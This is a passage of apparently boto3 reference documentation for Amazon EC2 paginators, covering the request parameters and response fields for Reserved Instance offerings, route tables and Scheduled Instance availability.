Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . +- **MaxDuration** (_integer_) -- + + The maximum duration (in seconds) to filter when searching for offerings. + + Default: 94608000 (3 years) + +- **MaxInstanceCount** (_integer_) -- + + The maximum number of instances to filter when searching for offerings. + + Default: 20 + +- **MinDuration** (_integer_) -- + + The minimum duration (in seconds) to filter when searching for offerings. + + Default: 2592000 (1 month) + +- **OfferingClass** (_string_) -- The offering class of the Reserved Instance. Can be standard or convertible . +- **ProductDescription** (_string_) -- The Reserved Instance product platform description. Instances that include (Amazon VPC) in the description are for use with Amazon VPC. +- **ReservedInstancesOfferingIds** (_list_) -- + + One or more Reserved Instances offering IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InstanceTenancy** (_string_) -- + + The tenancy of the instances covered by the reservation. A Reserved Instance with a tenancy of dedicated is applied to instances that run in a VPC on single-tenant hardware (i.e., Dedicated Instances). + + > **Important:** The host value cannot be used with this parameter. Use the default or dedicated values only. + + Default: default + +- **OfferingType** (_string_) -- The Reserved Instance offering type. If you are using tools that predate the 2011-11-01 API version, you only have access to the Medium Utilization Reserved Instance offering type. +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReservedInstancesOfferings': [ + { + 'AvailabilityZone': 'string', + 'Duration': 123, + 'FixedPrice': ..., + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'ProductDescription': 'Linux/UNIX'|'Linux/UNIX (Amazon VPC)'|'Windows'|'Windows (Amazon VPC)', + 'ReservedInstancesOfferingId': 'string', + 'UsagePrice': ..., + 'CurrencyCode': 'USD', + 'InstanceTenancy': 'default'|'dedicated'|'host', + 'Marketplace': True|False, + 'OfferingClass': 'standard'|'convertible', + 'OfferingType': 'Heavy Utilization'|'Medium Utilization'|'Light Utilization'|'No Upfront'|'Partial Upfront'|'All Upfront', + 'PricingDetails': [ + { + 'Count': 123, + 'Price': 123.0 + }, + ], + 'RecurringCharges': [ + { + 'Amount': 123.0, + 'Frequency': 'Hourly' + }, + ], + 'Scope': 'Availability Zone'|'Region' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeReservedInstancesOfferings. + + - **ReservedInstancesOfferings** _(list) --_ + + A list of Reserved Instances offerings. + + - _(dict) --_ + + Describes a Reserved Instance offering. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone in which the Reserved Instance can be used. + + - **Duration** _(integer) --_ + + The duration of the Reserved Instance, in seconds. + + - **FixedPrice** _(float) --_ + + The purchase price of the Reserved Instance. + + - **InstanceType** _(string) --_ + + The instance type on which the Reserved Instance can be used. + + - **ProductDescription** _(string) --_ + + The Reserved Instance product platform description. + + - **ReservedInstancesOfferingId** _(string) --_ + + The ID of the Reserved Instance offering. This is the offering ID used in GetReservedInstancesExchangeQuote to confirm that an exchange can be made. + + - **UsagePrice** _(float) --_ + + The usage price of the Reserved Instance, per hour. + + - **CurrencyCode** _(string) --_ + + The currency of the Reserved Instance offering you are purchasing. It's specified using ISO 4217 standard currency codes. At this time, the only supported currency is USD . + + - **InstanceTenancy** _(string) --_ + + The tenancy of the instance. + + - **Marketplace** _(boolean) --_ + + Indicates whether the offering is available through the Reserved Instance Marketplace (resale) or AWS. If it's a Reserved Instance Marketplace offering, this is true . + + - **OfferingClass** _(string) --_ + + If convertible it can be exchanged for Reserved Instances of the same or higher monetary value, with different configurations. If standard , it is not possible to perform an exchange. + + - **OfferingType** _(string) --_ + + The Reserved Instance offering type. + + - **PricingDetails** _(list) --_ + + The pricing details of the Reserved Instance offering. + + - _(dict) --_ + + Describes a Reserved Instance offering. + + - **Count** _(integer) --_ + + The number of reservations available for the price. + + - **Price** _(float) --_ + + The price per instance. + + - **RecurringCharges** _(list) --_ + + The recurring charge tag assigned to the resource. + + - _(dict) --_ + + Describes a recurring charge. + + - **Amount** _(float) --_ + + The amount of the recurring charge. + + - **Frequency** _(string) --_ + + The frequency of the recurring charge. + + - **Scope** _(string) --_ + + Whether the Reserved Instance is applied to instances in a Region or an Availability Zone. + + +_class_ EC2.Paginator.DescribeRouteTables + +paginator = client.get_paginator('describe_route_tables') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_route_tables()](#EC2.Client.describe_route_tables "EC2.Client.describe_route_tables"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + RouteTableIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - association.route-table-association-id - The ID of an association ID for the route table. + - association.route-table-id - The ID of the route table involved in the association. + - association.subnet-id - The ID of the subnet involved in the association. + - association.main - Indicates whether the route table is the main route table for the VPC (true | false ). Route tables that do not have an association ID are not returned in the response. + - owner-id - The ID of the AWS account that owns the route table. + - route-table-id - The ID of the route table. + - route.destination-cidr-block - The IPv4 CIDR range specified in a route in the table. + - route.destination-ipv6-cidr-block - The IPv6 CIDR range specified in a route in the route table. + - route.destination-prefix-list-id - The ID (prefix) of the AWS service specified in a route in the table. + - route.egress-only-internet-gateway-id - The ID of an egress-only Internet gateway specified in a route in the route table. + - route.gateway-id - The ID of a gateway specified in a route in the table. + - route.instance-id - The ID of an instance specified in a route in the table. + - route.nat-gateway-id - The ID of a NAT gateway. + - route.transit-gateway-id - The ID of a transit gateway. + - route.origin - Describes how the route was created. CreateRouteTable indicates that the route was automatically created when the route table was created; CreateRoute indicates that the route was manually added to the route table; EnableVgwRoutePropagation indicates that the route was propagated by route propagation. + - route.state - The state of a route in the route table (active | blackhole ). The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, the specified NAT instance has been terminated, and so on). + - route.vpc-peering-connection-id - The ID of a VPC peering connection specified in a route in the table. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the route table. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **RouteTableIds** (_list_) -- + + One or more route table IDs. + + Default: Describes all your route tables. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'RouteTables': [ + { + 'Associations': [ + { + 'Main': True|False, + 'RouteTableAssociationId': 'string', + 'RouteTableId': 'string', + 'SubnetId': 'string', + 'GatewayId': 'string', + 'AssociationState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failed', + 'StatusMessage': 'string' + } + }, + ], + 'PropagatingVgws': [ + { + 'GatewayId': 'string' + }, + ], + 'RouteTableId': 'string', + 'Routes': [ + { + 'DestinationCidrBlock': 'string', + 'DestinationIpv6CidrBlock': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'NatGatewayId': 'string', + 'TransitGatewayId': 'string', + 'LocalGatewayId': 'string', + 'CarrierGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'CreateRouteTable'|'CreateRoute'|'EnableVgwRoutePropagation', + 'State': 'active'|'blackhole', + 'VpcPeeringConnectionId': 'string' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string', + 'OwnerId': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeRouteTables. + + - **RouteTables** _(list) --_ + + Information about one or more route tables. + + - _(dict) --_ + + Describes a route table. + + - **Associations** _(list) --_ + + The associations between the route table and one or more subnets or a gateway. + + - _(dict) --_ + + Describes an association between a route table and a subnet or gateway. + + - **Main** _(boolean) --_ + + Indicates whether this is the main route table. + + - **RouteTableAssociationId** _(string) --_ + + The ID of the association. + + - **RouteTableId** _(string) --_ + + The ID of the route table. + + - **SubnetId** _(string) --_ + + The ID of the subnet. A subnet ID is not returned for an implicit association. + + - **GatewayId** _(string) --_ + + The ID of the internet gateway or virtual private gateway. + + - **AssociationState** _(dict) --_ + + The state of the association. + + - **State** _(string) --_ + + The state of the association. + + - **StatusMessage** _(string) --_ + + The status message, if applicable. + + - **PropagatingVgws** _(list) --_ + + Any virtual private gateway (VGW) propagating routes. + + - _(dict) --_ + + Describes a virtual private gateway propagating route. + + - **GatewayId** _(string) --_ + + The ID of the virtual private gateway. + + - **RouteTableId** _(string) --_ + + The ID of the route table. + + - **Routes** _(list) --_ + + The routes in the route table. + + - _(dict) --_ + + Describes a route in a route table. + + - **DestinationCidrBlock** _(string) --_ + + The IPv4 CIDR block used for the destination match. + + - **DestinationIpv6CidrBlock** _(string) --_ + + The IPv6 CIDR block used for the destination match. + + - **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + - **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of the egress-only internet gateway. + + - **GatewayId** _(string) --_ + + The ID of a gateway attached to your VPC. + + - **InstanceId** _(string) --_ + + The ID of a NAT instance in your VPC. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + - **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + - **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + - **CarrierGatewayId** _(string) --_ + + The ID of the carrier gateway. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **Origin** _(string) --_ + + Describes how the route was created. + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + - **State** _(string) --_ + + The state of the route. The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, or the specified NAT instance has been terminated). + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + - **Tags** _(list) --_ + + Any tags assigned to the route table. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the route table. + + +_class_ EC2.Paginator.DescribeScheduledInstanceAvailability + +paginator = client.get_paginator('describe_scheduled_instance_availability') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_scheduled_instance_availability()](#EC2.Client.describe_scheduled_instance_availability "EC2.Client.describe_scheduled_instance_availability"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeScheduledInstanceAvailability) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + FirstSlotStartTimeRange={ + 'EarliestTime': datetime(2015, 1, 1), + 'LatestTime': datetime(2015, 1, 1) + }, + MaxSlotDurationInHours=123, + MinSlotDurationInHours=123, + Recurrence={ + 'Frequency': 'string', + 'Interval': 123, + 'OccurrenceDays': [ + 123, + ], + 'OccurrenceRelativeToEnd': True|False, + 'OccurrenceUnit': 'string' + }, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + The filters. + + - availability-zone - The Availability Zone (for example, us-west-2a ). + - instance-type - The instance type (for example, c4.large ). + - network-platform - The network platform (EC2-Classic or EC2-VPC ). + - platform - The platform (Linux/UNIX or Windows ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **FirstSlotStartTimeRange** (_dict_) -- + + **[REQUIRED]** + + The time period for the first schedule to start. + + - **EarliestTime** _(datetime) --_ **[REQUIRED]** + + The earliest date and time, in UTC, for the Scheduled Instance to start. + + - **LatestTime** _(datetime) --_ **[REQUIRED]** + + The latest date and time, in UTC, for the Scheduled Instance to start. This value must be later than or equal to the earliest date and at most three months in the future. + +- **MaxSlotDurationInHours** (_integer_) -- The maximum available duration, in hours. This value must be greater than MinSlotDurationInHours and less than 1,720. +- **MinSlotDurationInHours** (_integer_) -- The minimum available duration, in hours. The minimum required duration is 1,200 hours per year. For example, the minimum daily schedule is 4 hours, the minimum weekly schedule is 24 hours, and the minimum monthly schedule is 100 hours. +- **Recurrence** (_dict_) -- + + **[REQUIRED]** + + The schedule recurrence. + + - **Frequency** _(string) --_ + + The frequency (Daily , Weekly , or Monthly ). + + - **Interval** _(integer) --_ + + The interval quantity. The interval unit depends on the value of Frequency . For example, every 2 weeks or every 2 months. + + - **OccurrenceDays** _(list) --_ + + The days. For a monthly schedule, this is one or more days of the month (1-31). For a weekly schedule, this is one or more days of the week (1-7, where 1 is Sunday). You can't specify this value with a daily schedule. If the occurrence is relative to the end of the month, you can specify only a single day. + + - _(integer) --_ + - **OccurrenceRelativeToEnd** _(boolean) --_ + + Indicates whether the occurrence is relative to the end of the specified week or month. You can't specify this value with a daily schedule. + + - **OccurrenceUnit** _(string) --_ + + The unit for OccurrenceDays (DayOfWeek or DayOfMonth ). This value is required for a monthly schedule. You can't specify DayOfWeek with a weekly schedule. You can't specify this value with a daily schedule. + +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ScheduledInstanceAvailabilitySet': [ + { + 'AvailabilityZone': 'string', + 'AvailableInstanceCount': 123, + 'FirstSlotStartTime': datetime(2015, 1, 1), + 'HourlyPrice': 'string', + 'InstanceType': 'string', + 'MaxTermDurationInDays': 123, + 'MinTermDurationInDays': 123, + 'NetworkPlatform': 'string', + 'Platform': 'string', + 'PurchaseToken': 'string', + 'Recurrence': { + 'Frequency': 'string', + 'Interval': 123, + 'OccurrenceDaySet': [ + 123, + ], + 'OccurrenceRelativeToEnd': True|False, + 'OccurrenceUnit': 'string' + }, + 'SlotDurationInHours': 123, + 'TotalScheduledInstanceHours': 123 + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeScheduledInstanceAvailability. + + - **ScheduledInstanceAvailabilitySet** _(list) --_ + + Information about the available Scheduled Instances. + + - _(dict) --_ + + Describes a schedule that is available for your Scheduled Instances. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone. + + - **AvailableInstanceCount** _(integer) --_ + + The number of available instances. + + - **FirstSlotStartTime** _(datetime) --_ + + The time period for the first schedule to start. + + - **HourlyPrice** _(string) --_ + + The hourly price for a single instance. + + - **InstanceType** _(string) --_ + + The instance type. You can specify one of the C3, C4, M4, or R3 instance types. + + - **MaxTermDurationInDays** _(integer) --_ + + The maximum term. The only possible value is 365 days. + + - **MinTermDurationInDays** _(integer) --_ + + The minimum term. The only possible value is 365 days. + + - **NetworkPlatform** _(string) --_ + + The network platform (EC2-Classic or EC2-VPC ). + + - **Platform** _(string) --_ + + The platform (Linux/UNIX or Windows ). + + - **PurchaseToken** _(string) --_ + + The purchase token. This token expires in two hours. + + - **Recurrence** _(dict) --_ + + The schedule recurrence. + + - **Frequency** _(string) --_ + + The frequency (Daily , Weekly , or Monthly ). + + - **Interval** _(integer) --_ + + The interval quantity. The interval unit depends on the value of frequency . For example, every 2 weeks or every 2 months. + + - **OccurrenceDaySet** _(list) --_ + + The days. For a monthly schedule, this is one or more days of the month (1-31). For a weekly schedule, this is one or more days of the week (1-7, where 1 is Sunday). + + - _(integer) --_ + - **OccurrenceRelativeToEnd** _(boolean) --_ + + Indicates whether the occurrence is relative to the end of the specified week or month. + + - **OccurrenceUnit** _(string) --_ + + The unit for occurrenceDaySet (DayOfWeek or DayOfMonth ). + + - **SlotDurationInHours** _(integer) --_ + + The number of hours in the schedule. + + - **TotalScheduledInstanceHours** _(integer) --_ + + The total number of hours for a single instance for the entire term. + + +_class_ EC2.Paginator.DescribeScheduledInstances + +paginator = client.get_paginator('describe_scheduled_instances') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_scheduled_instances()](#EC2.Client.describe_scheduled_instances "EC2.Client.describe_scheduled_instances"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeScheduledInstances) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ScheduledInstanceIds=[ + 'string', + ], + SlotStartTimeRange={ + 'EarliestTime': datetime(2015, 1, 1), + 'LatestTime': datetime(2015, 1, 1) + }, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + The filters. + + - availability-zone - The Availability Zone (for example, us-west-2a ). + - instance-type - The instance type (for example, c4.large ). + - network-platform - The network platform (EC2-Classic or EC2-VPC ). + - platform - The platform (Linux/UNIX or Windows ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **ScheduledInstanceIds** (_list_) -- + + The Scheduled Instance IDs. + + - _(string) --_ +- **SlotStartTimeRange** (_dict_) -- + + The time period for the first schedule to start. + + - **EarliestTime** _(datetime) --_ + + The earliest date and time, in UTC, for the Scheduled Instance to start. + + - **LatestTime** _(datetime) --_ + + The latest date and time, in UTC, for the Scheduled Instance to start. + +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ScheduledInstanceSet': [ + { + 